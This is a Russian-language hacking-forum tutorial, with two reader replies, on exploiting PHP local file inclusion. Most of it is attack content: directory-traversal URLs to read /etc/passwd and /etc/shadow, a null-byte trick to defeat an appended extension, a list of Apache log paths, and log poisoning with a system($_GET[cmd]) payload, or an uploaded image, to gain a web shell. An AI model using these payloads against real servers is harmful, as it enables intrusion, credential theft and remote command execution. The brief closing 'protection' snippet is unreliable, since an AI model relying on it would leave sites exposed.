0.Введение В это статье я расскажу о том как пользоваться локальной пхп иньекцией. Некоторые считают, что это бесполезный тип атаки, однако это не так, с ее помощью можно узнать много ПОЛЕЗНОЙ информации, которая поможет в процессе взлома, а в не которых случаях даже получить шелл. 1. Поехали! Для начала давайте рассмотрим кусок уязвимого кода: Code: <?php $page = $_GET[page]; include($page); ?> Этот кусок кода никогда нельзя использовать, т.к. $page не фильруеться и на прямую идет к вебфайлу, несмотря на это очень часто можно встретить этот код в сети. Предположим, что есть веб сервер с папкой include, в который лежит сраница main.php, мы можем попасть на нее так: Code: http://webserver.ru/inc/main.php А если уязвимый код, описаный в первой части присутвует в index.php, который лежит в корневой директории сервера, то можно сделать так: Code: http://webserver.ru/index.php?page=test/main.php Index.php может лежать в другом месте, например в папке /test/krevedko/index.php, то подгрузить main.php можно так: Code: http://webserver.ru/test/krevedko/index.php?page=../main.php ../ - предыдущая папка ./ - папка в которой находиться скрипт 2. Глазами хакера Что ж теперь, когда мы знаем как это выглядит, давайте попробуем использовать это в своих целях. Например, если машина стоит на *nix, можно прочитать файл с паролями, для это надо сделать нечто подобное: Code: http://webserver.ru/index.php?page=../../../../../etc/passwd Если пароли не затенены (находяться в файле etc/shadow), то мы увидим приблизительно такое: Code: user:ghjERIOmm23rt:305:100:UserName:/home/user:/bin/sh что означает Code: username: passwd:UID:GID:full_name:directory:shell Сейчат редко увидишь пароли в файле passwd, все чаще они находяться в etc/shadow, который доступен только root, так что врятли вы его прочтете. Здесь не много мест, куда следует сходить Code: /etc/passwd /etc/shadow /etc/security/passwd /etc/security/user 3. Не все так гладко на нашем пути Не много подумав, можно себе представить такой код Code: PHP Code: <?php $page = $_GET["page"]; include("$page.php"); ?> В конце добавляеться расширениее .php, так что если вызвать Code: http://webserver.ru/index.php?page=../../../../../etc/passwd Получим не файл passwd, а файль passwd.php, которого само сабой нет, так что здесь нам в помощь идет NULL byte или ядовитый ноль, после такого байта сервер игнорирует, то что идет дальше, так что код выглядит так: Code: http://webserver.ru/index.php?page=../../../../../etc/passwd%00 %00 - NULL byte 4. А как же веб шелл ? А вот так, мы попробуем записать php код в логи http демона и заинклудить их, вопрос лишь в том где они? Я вам дам пару путей возможного их нахождения: Code: ../apache/logs/error.log ../apache/logs/access.log ../etc/httpd/logs/acces_log ../etc/httpd/logs/acces.log ../etc/httpd/logs/error_log ../etc/httpd/logs/error.log ../var/www/logs/access_log ../var/www/logs/access.log ../usr/local/apache/logs/access_log ../usr/local/apache/logs/access.log ../var/log/apache/access_log ../var/log/apache2/access_log ../var/log/apache/access.log ../var/log/apache2/access.log ../var/log/access_log ../var/log/access.log ../var/www/logs/error_log ../var/www/logs/error.log ../usr/local/apache/logs/error_log ../usr/local/apache/logs/error.log ../var/log/apache/error_log ../var/log/apache2/error_log ../var/log/apache/error.log ../var/log/apache2/error.log ../var/log/error_log ../var/log/error.log эти логи ведут запись запросов о не найденных файлах, то есть что бы этим воспользоваться достаточно обратиться скажем к такому файлу http://webserver/<?system($_GET[cmd]);?> и наш php код (<?system($_GET[cmd]);?>) будет записан в эти логи, дальше с помощью локальной php инькции мы подгрузим лог и выполним команду, но ваш браузер может переделать код в такой вид: Code: %3C?%20system(\$_GET[cmd])%20?> так что для этого можно воспользоваться программой которая шлет запросы, или написать скрипт, который будет все делать сам. Так же шел можно залить с помощью картинки Вставляем в каритинку php код, заливаем на сервер и с помощью иньекции инклудим ее, результат работы скрипта в картинке должен быть выведен на экран. 5. Пару слов о защите. Иногда приходиться самому писать движок и в некоторых случаях приходиться использовать этот бажный кусок, но как же защитить свой сайт от злостных хакеров? для этого стоит добавить вот такую конструкцию после бажной части: Code: if(!isset($_GET["page"]))exit; $page = str_replace(".", "", str_replace("\\", "", $_GET["page"])); if(!file_exists($page)) exit; include($page); И все будет хорошо, можно спокойно идти спать и не бояться инклуда 6. Заключение Это все что я хотел рассказать вам локальных php иньекциях, не делайте сами таких ошибок, карайте тех кто их делает, всем удачи.
http://forum.antichat.ru/thread23501.html - здесь просто нечего добавить... Автору + за старания, но это не очень сильно...
кто сказал, что мы злостные=\ Сейчас это выражение на половину утратило свой первоначальный смысл, жаль=\ зы статья не раскрыта и на 50% незачет